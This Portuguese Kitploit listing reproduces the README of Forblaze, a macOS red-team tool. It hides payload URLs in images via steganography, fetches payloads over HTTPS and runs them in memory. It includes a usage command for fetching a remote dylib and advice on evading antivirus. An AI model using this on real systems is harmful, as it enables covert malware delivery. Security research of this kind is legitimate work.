Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Forblaze — Forblaze - Um Gerador de Payload de Esteganografia para Mac em Python | Kitploit
Ferramentas/GitHubGitHub/asaurusrex/forblaze
Geração de PayloadsExploraçãoEsteganografiaTestes de PenetraçãoRed Teaming
GitHubasaurusrex/forblaze

Forblaze

Forblaze - Um Gerador de Payload de Esteganografia para Mac em Python

Ver Repositório
564há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Forblaze - Um Gerador de Payload de Esteganografia para Mac e Execução In-Memory de Dylib/MachO em Python

Autor: AsaurusRex

Aviso Legal

NÃO utilize este projeto para outros fins que não sejam legítimos trabalhos de red team/pentest ou pesquisa. NÃO o utilize para atividades ilegais de qualquer tipo, e saiba que este projeto se destina a fins de pesquisa e para ajudar a avançar as missões tanto das equipes vermelhas quanto das azuis.

Postagem no Blog

Para a postagem no blog sobre o Forblaze, acesse https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571

Propósito

Forblaze é um projeto projetado para fornecer capacidades de esteganografia a payloads do Mac OS. Usando python3, ele constrói para você um arquivo Obj-C que será compilado para extrair URLs criptografadas desejadas do arquivo esteganográfico, buscar payloads via https e executá-los diretamente na memória. Utiliza criptografia personalizada – não é criptograficamente segura, mas puramente para frustrar a análise por mecanismos de antivírus. É um pequeno desvio da minha criptografia personalizada construída anteriormente para Windows, chamada Rubicon, e é mais simples na prática. Forblaze utiliza bytes de cabeçalho e rodapé para identificar onde no arquivo esteganográfico estão seus bytes criptografados, e então os descriptografa com uma chave codificada em compile_forblaze.m. Essa chave pode ser salva e reutilizada, com o efeito de que uma URL diferente poderia ser usada para buscar um payload diferente, e o mesmo forblaze compilado ainda deve ser capaz de executá-lo e processá-lo (desde que os bytes de cabeçalho e rodapé não sejam alterados e o novo arquivo esteganográfico seja enviado para o local correto).

Requisitos:

Python3 (testado apenas com Python3.9+), e algumas bibliotecas Python associadas – pip3 deve cuidar de quaisquer dependências Python que você precisar. Além disso, clang será usado para compilação, e o forblaze deve ser executado em um mac para que possa ser compilado corretamente.

Uso

uso: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key COMPRIMENTO_DA_CHAVE] [-compile_file ARQUIVO_DE_COMPILAÇÃO] [-url_to_encrypt URL] [-supply_key CHAVE_FORNECIDA] [-stego_location LOCAL_ESTEGANOGRÁFICO] [-compiled_binary BINÁRIO_COMPILADO]

Gerar esteganografia para implantes.

argumentos opcionais:

-h, --help mostra esta mensagem de ajuda e sai

-innocent_path PATH Forneça o caminho completo para o arquivo inocente a ser usado.

-o OUTPUT Forneça o caminho onde deseja que seu arquivo esteganográfico seja colocado.

-len_key COMPRIMENTO_DA_CHAVE Forneça um inteiro positivo que será o comprimento da chave em bytes. O padrão é 16. Deve estar entre 10 e 150 bytes.

-url_to_encrypt URL Forneça a URL que deseja colocar dentro do arquivo de compilação.

-supply_key CHAVE_FORNECIDA Se desejar usar uma chave específica, forneça-a aqui. Deve estar no formato: -supply_key "\x6e\x60\..." - ou seja, são necessárias duas barras invertidas entre cada byte, caso contrário NÃO FUNCIONARÁ.

-stego_location LOCAL_ESTEGANOGRÁFICO Você deve fornecer um local no alvo onde o arquivo esteganográfico residirá. É aconselhável seguir caminhos completos estritos: /Users/<>/Documents/file.jpg por exemplo.

-compiled_binary BINÁRIO_COMPILADO Dê o nome do binário compilado para extrair a URL e executar o código na memória a partir do arquivo esteganográfico. O padrão é forblaze.

-method MÉTODO Selecione qual método deseja usar. O Método 1 depende da execução de um dylib diretamente na memória e funciona com payloads Go, bem como payloads comuns. O Método 2 depende da execução de um arquivo macho diretamente na memória, mas não funciona com payloads compilados em Go. O Método 3 é o método 1, mas depende da obtenção da chave de descriptografia através de um servidor, o que é mais amigável para opsec. O método padrão é 1. OBSERVAÇÃO: Você ainda pode precisar editar o 'módulo' (também conhecido como RunMain) manualmente, dependendo do seu método de execução!

-key_url URL_DA_CHAVE Forneça a URL da chave para descriptografar o arquivo esteganográfico.

root@kitploit:~
  python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg  -compiled_binary innocent_binary

Preocupações com OpSec

Honestamente, não muitas. As detecções no Mac OS ainda são bastante fracas, especialmente para atividades na memória. Como exercício para o leitor, você também poderia chamar bytes de payload diretamente em vez de uma URL com algumas pequenas modificações neste código. No entanto, dependendo do tamanho do seu payload, a parte de criptografia no script python pode levar um tempo inaceitavelmente longo para ser concluída.

Nota: como este código compila para um binário Mach-O (não um dylib, embora isso possa ser alterado facilmente no código), controles como o Gatekeeper impedirão sua execução por padrão, a menos que você possa assinar o payload ou remover o atributo de quarentena.

Recomendo alterar coisas como o número de bytes aleatórios gerados a partir do padrão e alterar os bytes de cabeçalho e rodapé padrão que o forblaze usa para encontrar o payload no arquivo esteganográfico (assim como o comprimento desses bytes de cabeçalho e rodapé para talvez serem mais discretos).

Para a melhor OpSec, recomendo buscar sua chave de descriptografia de um servidor externo que você controla – então você pode controlar o acesso a essa chave estritamente, tornando a engenharia reversa muito mais difícil.

Detecção/Prevenção

Esteganografia é bastante difícil de detectar. Se você souber onde está o arquivo esteganográfico, pode começar a extrair os bytes suspeitos após o final do EOF normal do arquivo (por exemplo, após "FFD9" para jpegs). Esses bytes suspeitos ainda incluirão o payload criptografado real e bytes aleatórios sem sentido, que seriam difíceis de distinguir uns dos outros a menos que você possua os bytes de cabeçalho e trailer especificados pelo Forblaze. Você poderia examinar esses bytes e procurar padrões de bytes repetidos, já que é assim que os bytes de cabeçalho e rodapé com o forblaze tendem a funcionar, mas um operador habilidoso poderia tornar isso mais difícil de encontrar do que o padrão. Se um payload for capturado, você obviamente poderia fazer engenharia reversa do binário e tentar localizar o arquivo esteganográfico, e então tentar usar a chave codificada e os cabeçalhos/rodapés para reverter a URL que está sendo chamada (ou outros bytes). Mas tudo isso pressupõe que você encontrou o binário por algum outro meio.

Testes

Esta ferramenta foi testada em várias versões do Mac OS, incluindo Big Sur e Catalina (sistemas x64). Por favor, avise-me se tiver problemas.

Detalhes Técnicos

A criptografia personalizada é uma cifra de César básica, onde diferentes bytes da chave são usados para deslocar os bytes do seu texto simples. É por isso que chaves maiores NÃO são NECESSARIAMENTE melhores para sua criptografia – depende do comprimento do seu texto simples. Se seu texto simples tem 50 bytes e você usa uma chave de 150 bytes, apenas os primeiros 50 bytes da chave serão usados. Se seu texto simples tiver mais de 150 bytes, no entanto, as chaves mais longas seriam mais seguras.

A esteganografia é bastante simples: os bytes do seu arquivo inocente original são mantidos, e bytes aleatórios (junto com seus bytes de payload criptografados) são anexados após esses bytes. Esses bytes aleatórios têm, por padrão, comprimento entre 2 e 2000 (isso provavelmente deve ser alterado para se adequar ao tamanho do seu texto simples – textos simples maiores devem significar que mais bytes aleatórios são gerados).

A parte de execução na memória segue https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory, bem como o loader maisal (não consigo encontrar o link no momento), com a simples alteração de que, em vez de ler bytes de payload de um arquivo em disco, eles são lidos via http/https.

Contribuições/Comentários/Críticas

Estou muito aberto a receber comentários e à colaboração! Espero que isso ajude a gerar discussões úteis sobre o tema de criptografia personalizada, ou forneça novas ideias aos pesquisadores.

Baixar ferramenta